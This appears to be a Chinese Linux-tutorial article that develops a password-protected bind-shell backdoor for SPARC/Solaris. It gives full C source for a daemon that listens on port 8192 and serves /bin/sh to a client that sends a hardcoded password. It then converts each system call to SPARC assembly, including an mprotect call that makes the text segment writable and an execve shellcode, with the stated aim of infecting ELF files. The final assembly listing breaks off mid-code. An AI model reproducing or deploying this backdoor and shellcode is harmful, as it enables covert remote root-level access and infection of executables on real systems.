当前位置:Linux教程 - Linux - SPARC/Solaris下的Unix后门初探

SPARC/Solaris下的Unix后门初探

无论从感染ELF文件角度还是编写远程shellcode角度都有必要研究SPARC/Solaris下
的网络系统调用。这个方向并没有现成的资料,我也是摸着石头过河,给大家探个路。

--------------------------------------------------------------------------
/* gcc -g -ggdb -o s s.c -lsocket */
#include
#include
#include
#include

int s, c;
struct sockaddr_in serv_addr;
char * name[2];
char pass[9] = ""xxxxxxxx"";

int main ( int argc, char * argv[] )
{
if ( fork() == 0 ) /* 子进程 */
{
setsid(); /* become session leader */
signal( SIGHUP, SIG_IGN );
if ( fork() == 0 ) /* 子进程 */
{
serv_addr.sin_family = 2;
serv_addr.sin_addr.s_addr = 0;
serv_addr.sin_port = 0x2000; // 端口8192
// 创建TCP套接字,这里与Linux有区别
s = socket( 2, 2, 6 );
bind( s, ( struct sockaddr * )&serv_addr, 0x10 );
listen( s, 1 );
signal( SIGCHLD, SIG_IGN );
while ( 1 )
{
c = accept( s, 0, 0 );
if ( fork() == 0 ) /* 子进程 */
{
close( s );
/* 用c进行通信,做一次弱验证保护 */
while ( strcmp( pass, ""12345678"" ) != 0 )
{
read( c, pass, 8 );
}
// 准备输入输出重定向,标准技术
dup2( c, 0 );
dup2( c, 1 );
dup2( c, 2 );
close( c ); /* 这里可以关闭c */
name[0] = ""/bin/sh"";
name[1] = 0;
execve( name[0], name, 0 );
exit( 0 ); /* 防止execve()失败 */
}
close( c ); /* 这里必须关闭c */
} /* end of while */
}
}
return( 0 ); /* 父进程 */
} /* end of main */
--------------------------------------------------------------------------

该程序只能编译成动态版本,如果指定-static,发现

[scz@ /space/staff/scz/src]> gcc -g -ggdb -static -o s s.c -lsocket
未定义符号 在文件中
endnetconfig /usr/lib/libsocket.a(_soutil.o)
setnetconfig /usr/lib/libsocket.a(_soutil.o)
getnetconfig /usr/lib/libsocket.a(_soutil.o)
ld: 致命的: 符号参照错误. 没有输出被写入s
[scz@ /space/staff/scz/src]>

我尝试了/usr/lib和/lib下的很多库,都无法解决这个问题。后来拷贝
/usr/lib/libsocket.a到当前目录,用ar dv ./libsocket.a _soutil.o处理,然后
链接一样失败。甚至ar xv ./libsocket.a后用ld命令进行手工链接,依旧存在外部
符号无着落的问题。

大家知道,没有静态版本,要想得到一个精简的汇编代码版本是不可能的,总不能在
浩如烟海的动态链接库里单步跟踪下去判断中断调用发生在哪里。还好,可以用
truss跟踪。适当调整上述代码,用truss跟踪后有如下内容:

setsid() = 2260
sigaction(SIGHUP, 0xEFFFFC58, 0xEFFFFCD8) = 0
so_socket(2, 2, 6, """", 1) = 3
bind(3, 0x00021E60, 16) = 0
listen(3, 1) = 0
sigaction(SIGCLD, 0xEFFFFC58, 0xEFFFFCD8) = 0
accept(3, 0x00000000, 0x00000000) (sleeping...)

这堆信息就不用我再废话解释了吧。ok,至此我们有了一个绝妙的想法,既然得不到
静态版本主要由于libsocket.a外部符号无着落,那么我用syscall呢?直接进行相对
底层的系统调用,呵呵,其实以前很少用syscall的,这次也是被逼无奈嘛。现在可
以抛弃-lsocket链接开关了,这只猪害人不浅。

关于setsid(),如果用gdb反汇编一路看下去,还是很快定位到中断调用的,但是我
们可以直接观察/usr/include/sys/syscall.h,第39号系统调用的注释中有:

setsid() == syscall( 39, 3 ) == syscall( SYS_pgrpsys, 3 )

显然可以直接替换setsid()。至于signal,对应48号系统调用(SYS_signal),也直接
利用syscall完成。

--------------------------------------------------------------------------
// gcc -g -ggdb -static -o s s.c
// 使用syscall之后,可以抛弃-lsocket链接开关
// 由于libsocket.a有点问题,存在外部符号无着落,无法使用静态链接开关
// 但是现在我们抛开了libsocket.a,可以指定-static了,哈哈

#include
#include
#include
#include
#include
#include

int s, c;
struct sockaddr_in serv_addr;
char * name[2];
char pass[9] = ""xxxxxxxx"";

int main ( int argc, char * argv[] )
{
if ( fork() == 0 ) /* 子进程 */
{
// setsid(); /* become session leader */
// SYS_pgrpsys
syscall( 39, 3 );
// signal( SIGHUP, SIG_IGN );
// SYS_signal
syscall( 48, 1, 1 );
if ( fork() == 0 ) /* 子进程 */
{
serv_addr.sin_family = 2;
serv_addr.sin_addr.s_addr = 0;
// 使用big endian序
serv_addr.sin_port = 0x2000; // 端口8192
// 创建TCP套接字,这里与Linux有区别
// s = socket( 2, 2, 6 );
// SYS_so_socket
s = syscall( 230, 2, 2, 6 );
// bind( s, ( struct sockaddr * )&serv_addr, 0x10 );
// SYS_bind
syscall( 232, s, ( struct sockaddr * )&serv_addr, 16 );
// listen( s, 1 );
// SYS_listen
syscall( 233, s, 1 );
// signal( SIGCHLD, SIG_IGN );
syscall( 48, 18, 1 );
while ( 1 )
{
// c = accept( s, 0, 0 );
// SYS_accept
c = syscall( 234, s, 0, 0 );
if ( fork() == 0 ) /* 子进程 */
{
// close( s );
// SYS_close
syscall( 6, s );
/* 用c进行通信,做一次弱验证保护 */
while ( strcmp( pass, ""12345678"" ) != 0 )
{
// read( c, pass, 8 );
// SYS_read
syscall( 3, c, pass, 8 );
}
// 准备输入输出重定向,标准技术
// dup2( c, 0 );
// dup2( c, 1 );
// dup2( c, 2 );
// SPARC/Solaris没有单独实现dup2,而是用fcntl实现
// 有点其他问题,请参看APUE,天晓得发生了什么
// syscall( SYS_fcntl, c, F_DUP2FD, 0 );
syscall( 62, c, 9, 0 );
syscall( 62, c, 9, 1 );
syscall( 62, c, 9, 2 );
// close( c ); /* 这里可以关闭c */
syscall( 6, c );
name[0] = ""/bin/sh"";
name[1] = 0;
execve( name[0], name, 0 );
// exit( 0 ); /* 防止execve()失败 */
// SYS_exit
syscall( 1, 0 );
}
// close( c ); /* 这里必须关闭c */
syscall( 6, c );
} /* end of while */
}
}
return( 0 ); /* 父进程 */
} /* end of main */
--------------------------------------------------------------------------

对于fork(),可以gdb ./s后disas _libc_fork查看。粗略浏览一遍之后,觉得基本
上每个系统调用都能得到机器码,下面着手细化每个系统调用,毕竟和i386/Linux不
同了。

--------------------------------------------------------------------------
0x101c0 : call 0x1267c
0x101c4 : nop
0x101c8 : cmp %o0, 0
0x101cc : bne 0x10434
0x101d0 : nop

0x131c4 <_libc_fork> : mov 2, %g1 ! 0x2
0x131c8 <_libc_fork+4> : ta 8
0x131cc <_libc_fork+8> : bcc 0x131e0 <_libc_fork+28>
0x131d0 <_libc_fork+12>: sethi %hi(0x16000), %o5
0x131d4 <_libc_fork+16>: or %o5, 0x90, %o5 ! 0x16090 <_cerror>
0x131d8 <_libc_fork+20>: jmp %o5
0x131dc <_libc_fork+24>: nop
0x131e0 <_libc_fork+28>: tst %o1
0x131e4 <_libc_fork+32>: bne,a 0x131ec <_libc_fork+40>
0x131e8 <_libc_fork+36>: mov %g0, %o0
0x131ec <_libc_fork+40>: retl
0x131f0 <_libc_fork+44>: nop
--------------------------------------------------------------------------

综合判断后提炼如下:

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
(""
mov 2, %g1
ta 8
tst %o1 ! %o1不为0表示是子进程
bne,a .+16 ! 是子进程,跳转
mov %g0, %o0 ! 延迟插槽,注意理解延迟插槽的执行顺序
call .+8
nop
nop ! 需要替换,此时%o0为0,子进程继续
"");
} /* end of main */
--------------------------------------------------------------------------

可以用truss ./asm观察一下上述代码是否成功执行了fork()系统调用,man手册里提
到fork()失败会返回-1。

下面来观察syscall( 39, 3 ):

--------------------------------------------------------------------------
0x101d4 : mov 0x27, %o0 ! 0x27
0x101d8 : mov 3, %o1
0x101dc : call 0x10fec
0x101e0 : nop

0x10fec : clr %g1
0x10ff0 : ta 8
0x10ff4 : bcc 0x11008
0x10ff8 : sethi %hi(0x16000), %o5
0x10ffc : or %o5, 0x90, %o5 ! 0x16090 <_cerror>
0x11000 : jmp %o5
0x11004 : nop
0x11008 : retl
0x1100c : nop
--------------------------------------------------------------------------

综合判断后提炼如下:

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
(""
mov 0x27, %o0
mov 3, %o1
clr %g1
ta 8
"");
} /* end of main */
--------------------------------------------------------------------------

同样可以用truss ./asm观察一下上述代码是否成功执行了setsid()系统调用。

下面来观察syscall( 48, 1, 1 ):

--------------------------------------------------------------------------
0x101e4 : mov 0x30, %o0 ! 0x30
0x101e8 : mov 1, %o1
0x101ec : mov 1, %o2
0x101f0 : call 0x10fec
0x101f4 : nop
--------------------------------------------------------------------------

综合判断后提炼如下:

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
(""
mov 0x30, %o0
mov 1, %o1
mov 1, %o2
clr %g1
ta 8
"");
} /* end of main */
--------------------------------------------------------------------------

有了上面的研究基础,下面直接编写syscall( 1, 0 ):

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
(""
mov 0x01, %o0
clr %o1
clr %g1
ta 8
"");
} /* end of main */
--------------------------------------------------------------------------

ok,到此为止,我们不急于分析网络系统调用,计划先整和出一个汇编版本的daemon
框架:

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
(""
mov 2, %g1
ta 8
tst %o1 ! %o1不为0表示是子进程
bne,a .+16 ! 是子进程,跳转
mov %g0, %o0 ! 延迟插槽
call exit
nop
mov 0x27, %o0 ! 此前%o0为0,子进程继续
mov 3, %o1
clr %g1
ta 8
mov 0x30, %o0
mov 1, %o1
mov 1, %o2
clr %g1
ta 8
mov 2, %g1
ta 8
tst %o1 ! %o1不为0表示是子进程
bne,a .+16 ! 是子进程,跳转
mov %g0, %o0 ! 延迟插槽
call exit
nop
exit:
mov 0x01, %o0
clr %o1
clr %g1
ta 8
"");
} /* end of main */
--------------------------------------------------------------------------

哈哈,虽然SPARC总是和我过不去,可也要留下点回忆嘛。

接下来观察s = syscall( 230, 2, 2, 6 ):

--------------------------------------------------------------------------
0x10244 : mov 0xe6, %o0
0x10248 : mov 2, %o1
0x1024c : mov 2, %o2
0x10250 : mov 6, %o3
0x10254 : call 0x10fec
0x10258 : nop
0x1025c : sethi %hi(0x27800), %o1
0x10260 : st %o0, [ %o1 + 0x1b4 ] ! 0x279b4
--------------------------------------------------------------------------

从这里可以看出s由%o0返回,其余的对于我们已经不新鲜了:

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
(""
mov 0xe6, %o0
mov 0x02, %o1
mov 0x02, %o2
mov 0x06, %o3
clr %g1
ta 8
st %o0, [ %l7 ] ! [ %l7 ]存放s
"");
} /* end of main */
--------------------------------------------------------------------------

如果去掉最后的st指令,可以用truss ./asm检验效果,最后的st指令是保存s的意思,
这里假设%l7已经指向正确的内存空间。

接下来观察syscall( 232, s, ( struct sockaddr * )&serv_addr, 16 ):

--------------------------------------------------------------------------
0x1020c : sethi %hi(0x27800), %o0
0x10210 : mov 2, %o1
0x10214 : sth %o1, [ %o0 + 0x1b8 ] ! serv_addr.sin_family = 2;
0x10218 : sethi %hi(0x27800), %o0
0x1021c : mov 4, %o1
0x10220 : or %o0, 0x1b8, %o2 ! 0x279b8
0x10224 : add %o1, %o2, %o0 ! 0x279bc
0x10228 : clr [ %o0 ] ! serv_addr.sin_addr.s_addr = 0;
0x1022c : sethi %hi(0x27800), %o0
0x10230 : mov 2, %o1
0x10234 : or %o0, 0x1b8, %o2 ! 0x279b8
0x10238 : add %o1, %o2, %o0 ! 0x279ba
0x1023c : sethi %hi(0x2000), %o1
0x10240 : sth %o1, [ %o0 ] ! serv_addr.sin_port = 0x2000;

0x10264 : sethi %hi(0x27800), %o1
0x10268 : mov 0xe8, %o0
0x1026c : ld [ %o1 + 0x1b4 ], %o1 ! %o1设置成s
0x10270 : sethi %hi(0x27800), %o3
0x10274 : or %o3, 0x1b8, %o2 ! 0x279b8
0x10278 : mov 0x10, %o3 ! 16
0x1027c : call 0x10fec
0x10280 : nop
--------------------------------------------------------------------------

这两段比较晦涩难懂,我也无法确认该如何提炼,先尝试如下:

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
(""
mov 2, %o1
sth %o1, [ %l7 + 0x04 ] ! serv_addr.sin_family
clr [ %l7 + 0x08 ] ! serv_addr.sin_addr.s_addr
sethi %hi(0x2000), %o1
sth %o1, [ %l7 + 0x06 ] ! serv_addr.sin_port
mov 0xe8, %o0 ! 第一个参数232
ld [ %l7 ], %o1 ! 第二个参数s
mov 4, %o2
add %l7, %o2, %o2 ! 第三个参数&serv_addr
mov 0x10, %o3 ! 最后一个参数16
clr %g1
ta 8
"");
} /* end of main */
--------------------------------------------------------------------------

不用观察syscall( 233, s, 1 )、syscall( 48, 18, 1 ),直接编写它们:

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
(""
mov 0xe9, %o0 ! 第一个参数233
ld [ %l7 ], %o1 ! 第二个参数s
mov 0x01, %o2 ! 第三个参数1
clr %g1
ta 8
mov 0x30, %o0
mov 0x12, %o1
mov 0x01, %o2
clr %g1
ta 8
"");
} /* end of main */
--------------------------------------------------------------------------

下面是c = syscall( 234, s, 0, 0 )的相关代码片段,尚未提炼:

--------------------------------------------------------------------------
0x102c0 : sethi %hi(0x27800), %o1
0x102c4 : mov 0xea, %o0
0x102c8 : ld [ %o1 + 0x1b4 ], %o1
0x102cc : clr %o2
0x102d0 : clr %o3
0x102d4 : call 0x10fec
0x102d8 : nop
0x102dc : sethi %hi(0x27800), %o1
0x102e0 : st %o0, [ %o1 + 0x1b0 ] ! 0x279b0
--------------------------------------------------------------------------

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
(""
mov 0xea, %o0
ld [ %l7 ], %o1 ! 第二个参数s
clr %o2
clr %o3
clr %g1
ta 8
st %o0, [ %l7 + 4 ] ! [ %l7 +4 ]存放c
"");
} /* end of main */
--------------------------------------------------------------------------

一个更加残酷的问题摆到了革命群众的面前。Linux下有125号系统调用,
SPARC/Solaris呢?我在Linux的/usr/include/bits/syscall.h中大海捞针一般地找
到了125号系统调用的符号名SYS_mprotect,于是转回SUN下在
/usr/include/sys/syscall.h中查找SYS_mprotect,还好,116号系统调用就是的。
可入口参数呢?我怎么知道那些破破的SPARC芯片寄存器中哪个该设置成相关参数呢?
如果你以为革命群众已经到了最后关头,那就太不具备革命乐观主义精神了。万般无
奈下,我man mprotect了,呼呼,居然有东西出现,那么下面就不要废话啦,先赶快
提取mprotect的汇编码:

--------------------------------------------------------------------------
/* gcc -o test test.c */
#include
#include
#include

int main ( int argc, char * argv[] )
{
char * buf;
char c;

/* 分配一块内存,拥有缺省的rw-保护 */
buf = ( char * )malloc( 1024 + 4096 - 1 );
if ( !buf )
{
perror( ""Couldn''t malloc( 1024 )"" );
exit( errno );
}
/* Align to a multiple of PAGESIZE, assumed to be a power of two */
buf = ( char * )( ( ( unsigned long )buf + 4096 - 1 ) & ~( 4096 - 1 ) );
c = buf[77]; /* Read ok */
buf[77] = c; /* Write ok */
printf( ""ok "" );
/* Mark the buffer read-only. */
// 必须保证这里buf位于页边界上,否则mprotect()失败,报告无效参数 */
if ( mprotect( buf, 1024, PROT_READ ) )
{
perror( "" Couldn''t mprotect"" );
exit( errno );
}
c = buf[77]; /* Read ok */
buf[77] = c; /* Write error, program dies on SIGSEGV */

exit( 0 );
} /* end of main */
--------------------------------------------------------------------------

[scz@ /export/home/scz/src]> gcc -o test test.c
[scz@ /export/home/scz/src]> ./test
ok
段错误 (core dumped) <-- -- -- 内存保护起作用了
[scz@ /export/home/scz/src]>

用gdb ./test看到如下入口参数:

--------------------------------------------------------------------------
0x10bc4 : ld [ %fp + -20 ], %o0
0x10bc8 : mov 0x400, %o1
0x10bcc : mov 1, %o2
0x10bd0 : call 0x21874
0x10bd4 : nop
--------------------------------------------------------------------------

同样,并不直接使用mprotect系统调用,依旧采用syscall的方式,我们编写如下代
码:

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
(""
mov 0x74, %o0 ! 第一个参数116
sethi %hi(0x10000), %o1 ! 第二参数,起始地址
sethi %hi(0x00002000), %o2 ! 第三个参数8096
mov 0x07, %o3 ! 第四个参数7,rwx
clr %g1
ta 8
! call . ! 用于调试,设置个无限循环,然后用pmap观察
! nop
"");
} /* end of main */
--------------------------------------------------------------------------

别看目前代码这样清晰明了,可是费了不少手脚。关键需要注意的地方是起始地址必
须位于页边界上,将来我们可以取得_start之后与一个0xffff0000。甚至再简单点,
直接就使用上面这段代码,据我观察很多应用程序的_start都在0x10000到0x20000之
间。其次,这里想到了另外一个问题,6.c和7.c在文本段中只设置了4096字节的可读
可写区域,所以重复感染的次数不能太多,即使设置了4*4096字节的可读可写区域,
也不能重复感染太多次,否则就会出现段溢出错误,因为可能对只读内存区域进行了
写操作;再说重复感染多次,文件尺寸的激增也容易暴露,没有必要。我们这里姑且
先固定地使用0x10000做起始地址,回头打印一下通过程序找到的文本段起始地址,
看看是否符合页边界对齐的要求,如果符合,就可以动态设置起始地址。再说吧,
SPARC下罗嗦了许多。

我们可以整合出一个daemon,这个daemon监听8192端口:

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
(""
mov 0x74, %o0 ! 第一个参数116
sethi %hi(0x10000), %o1 ! 第二参数,起始地址
sethi %hi(0x00002000), %o2 ! 第三个参数8096
mov 0x07, %o3 ! 第四个参数7,rwx
clr %g1
ta 8
bn,a .-4 ! 跳转去执行call .-4指令
bn,a .-4 ! 跳转去执行nop
call .-4 ! 跳转去执行前面这条bn,a .-4指令
nop ! 作为延迟插槽被执行一次,bn,a跳转后又执行一次
add %o7, 172, %l7 ! %o7 + 172 指向本段代码尾部
mov 0xe6, %o0
mov 0x02, %o1
mov 0x02, %o2
mov 0x06, %o3
clr %g1
ta 8
st %o0, [ %l7 ] ! [ %l7 ]存放s
mov 2, %o1
sth %o1, [ %l7 + 0x04 ] ! serv_addr.sin_family
clr [ %l7 + 0x08 ] ! serv_addr.sin_addr.s_addr
sethi %hi(0x2000), %o1
sth %o1, [ %l7 + 0x06 ] ! serv_addr.sin_port
mov 0xe8, %o0 ! 第一个参数232
ld [ %l7 ], %o1 ! 第二个参数s
mov 4, %o2
add %l7, %o2, %o2 ! 第三个参数&serv_addr
mov 0x10, %o3 ! 最后一个参数16
clr %g1
ta 8
mov 0xe9, %o0 ! 第一个参数233
ld [ %l7 ], %o1 ! 第二个参数s
mov 0x01, %o2 ! 第三个参数1
clr %g1
ta 8
mov 0x30, %o0
mov 0x12, %o1
mov 0x01, %o2
clr %g1
ta 8
mov 0xea, %o0
ld [ %l7 ], %o1 ! 第二个参数s
clr %o2
clr %o3
clr %g1
ta 8
st %o0, [ %l7 + 4 ] ! [ %l7 +4 ]存放c
exit:
mov 0x01, %o0
clr %o1
clr %g1
ta 8
.ascii ""xxxxxxxx""
.ascii ""xxxxxxxx""
.ascii ""xxxxxxxx""
.ascii ""xxxxxxxx""
"");
} /* end of main */
--------------------------------------------------------------------------

这段代码仅仅演示了很重要的两个部分,一个是设置文本段可写,一个是成功创建套
接字并阻塞在accept()系统调用处,一旦有入连接,程序就正常终止了。幸运的是,
在经历了太多磨难后,SPARC没有继续为难我们,一切按照预想的发展。

编写syscall( 6, s )、syscall( 6, c )以及syscall( 62, c, 9, 0 ):

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
(""
mov 0x06, %o0 ! 第一个参数6
ld [ %l7 ], %o1 ! 第二个参数s
clr %g1
ta 8
mov 0x3e, %o0 ! 第一个参数62
ld [ %l7 + 4 ], %o1 ! 第二个参数c
mov 0x09, %o2
clr %o3
clr %g1
ta 8
mov 0x06, %o0 ! 第一个参数6
ld [ %l7 + 4 ], %o1 ! 第二个参数c
clr %g1
ta 8
"");
} /* end of main */
--------------------------------------------------------------------------

还有一个更烦人的execve( name[0], name, 0 ),可以从
<< solaris for sparc下shellcode的编写(三) >>中偷一些代码过来:

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
(""
sethi 0xbd89a, %l4 ! sethi %hi(0x2f626800), %l4
or %l4, 0x16e, %l4
sethi 0xbdcda, %l5 ! sethi %hi(0x2f736800), %l5
and %sp, %sp, %o0 ! $o0 指向字符串/bin/sh
add %sp, 8, %o1 ! $o1 存放一个地址,该地址处存放了指向字符串的指针
xor %o2, %o2, %o2 ! %o2寄存器清零
add %sp, 16, %sp ! 留出存储空间
std %l4, [%sp - 16] ! 存放字符串
st %o0, [%sp - 8] ! 存放字符串指针
st %g0, [%sp - 4] ! %g0总是为0
mov 0x3b, %g1 ! 将0x3b拷贝到%g1寄存器中
ta 8 ! 执行中断指令ta 8(execve()完成)
"");
} /* end of main */
--------------------------------------------------------------------------

最后研究一下syscall( 3, c, pass, 8 ):

--------------------------------------------------------------------------
0x1033c : mov 3, %o0
0x10340 : ld [ %o1 + 0x1b0 ], %o1
0x10344 : sethi %hi(0x26400), %o3
0x10348 : or %o3, 0x158, %o2 ! 0x26558
0x1034c : mov 8, %o3
0x10350 : call 0x10fec
0x10354 : nop
--------------------------------------------------------------------------

分析后提炼如下:

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
(""
mov 0x03, %o0 ! 第一个参数3
ld [ %l7 + 4 ], %o1 ! 第二个参数c
add %l7, 8, %o2 ! 第三个参数pass
mov 0x08, %o3 ! 第四个参数8
clr %g1
ta 8
"");
} /* end of main */
--------------------------------------------------------------------------

本以为这就是最后了,猛然记起SPARC没有repnz cmpsb指令。可以省点事的是我们强
制口令恰好8个字节,所以比较两个usigned long即可。

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
(""
read:
mov 0x03, %o0 ! 第一个参数3
ld [ %l7 + 4 ], %o1 ! 第二个参数c
add %l7, 8, %o2 ! 第三个参数pass
mov 0x08, %o3 ! 第四个参数8
clr %g1
ta 8 ! read( c, pass, 8 )
ld [ %l7 + 8 ], %o0
ld [ %l7 + 28 ], %o1
cmp %o0, %o1
be,a .+16
nop
call read
nop
ld [ %l7 + 12 ], %o0
ld [ %l7 + 32 ], %o1
cmp %o0, %o1
be,a .+16
nop
call read
nop
"");
} /* end of main */
--------------------------------------------------------------------------

实际最初的代码不是这个样子,当时忽略了SPARC下严格的4字节对齐的要求,导致在
做弱口令验证的时候总线错误,i386下是没有这种顾虑的。这也说明了SPARC下汇编
编程更加困难,需要更多的细心。

至此,我们需要的各个系统调用、各个关键部位的汇编代码统统搞定,剩下的问题是
组合它们。提醒大家的是,即使我们这次组合顺利,也不意味着backdoor for sparc
成功搞定,尚不了解ELF的处理方式是否通用于SPARC和i386之间。如果搞不定,大家
不要乱扔臭鸡蛋、西红柿什么的,砸到我倒没什么,砸到小朋友怎么办,即使砸不到
小朋友,砸到那些花花草草也是不好的,我都给你们说过多次了。

言归正传,backdoor如果没搞定,作为汇编版本的远程shell毕竟提供出来了,对于
以后可能出现的很多研究有借鉴作用,也是不错的。

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
(""
mov 2, %g1
ta 8 ! fork()
tst %o1 ! %o1不为0表示是子进程
bne,a .+16 ! 是子进程,跳转
mov %g0, %o0 ! 延迟插槽
call exit
nop
mov 0x27, %o0 ! 此前%o0为0,子进程继续
mov 3, %o1
clr %g1
ta 8 ! setsid()
mov 0x30, %o0
mov 1, %o1
mov 1, %o2
clr %g1
ta 8 ! signal( SIGHUP, SIG_IGN )
mov 2, %g1
ta 8 ! fork()
tst %o1 ! %o1不为0表示是子进程
bne,a .+16